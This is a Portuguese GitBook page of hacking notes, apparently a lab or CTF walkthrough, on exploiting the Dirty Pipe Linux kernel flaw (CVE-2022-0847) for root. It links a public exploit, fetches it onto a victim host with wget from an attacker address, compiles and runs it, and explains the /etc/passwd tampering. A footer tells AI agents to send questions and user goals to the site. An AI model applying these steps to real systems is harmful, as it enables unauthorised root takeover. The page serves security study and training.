> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/dirty-pipe-linux-privilege-escalation.md).

# Dirty Pipe

Anotações sobre técnica de escalação de privilégios no Linux com enumeração prática, exemplos de exploração e validação.

## O que é

Esta página documenta uma técnica de escalonamento de privilégios no Linux com etapas práticas de validação e exemplos de exploração. Esta página específica se concentra em **Dirty Pipe** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e depois execute a menor carga útil necessária para provar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
id
uname -a
```

## Exemplos

{% hint style="info" %}
**Dirty Pipe** (CVE-2022-0847) é um bug do kernel Linux que permite que um usuário local sem privilégios modifique arquivos do sistema em tempo de execução, incluindo arquivos protegidos como **/etc/passwd**. Essa vulnerabilidade explora uma falha no tratamento de pipes do kernel, permitindo que um processo modifique um arquivo enquanto ele está sendo usado por outro processo, incluindo arquivos somente leitura ou arquivos escritos por usuários privilegiados.
{% endhint %}

## Exploração do Dirty Pipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Verifique se a máquina é vulnerável ao Dirty Pipe, um bug que pode modificar arquivos do sistema em tempo de execução. Encontramos **gcc**, um compilador C, disponível em `/usr/bin/gcc`.

```bash
which gcc
/usr/bin/gcc
```

Use **Python3** para transferir o exploit da máquina local para o alvo. Inicie um servidor HTTP localmente para hospedá-lo:

```bash
python3 -m http.server
```

Na máquina vítima, baixamos o exploit:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

Depois que o exploit foi obtido, compilamos o arquivo C com **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
O exploit modifica o `/etc/passwd` arquivo inserindo um hash de senha e adiciona um `aaron` usuário com uma senha específica, tudo para permitir o escalonamento de privilégios.
{% endhint %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Por fim, basta executar o script:

```bash
./exploit
```

Isso dá **`root`** acesso à máquina.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/dirty-pipe-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
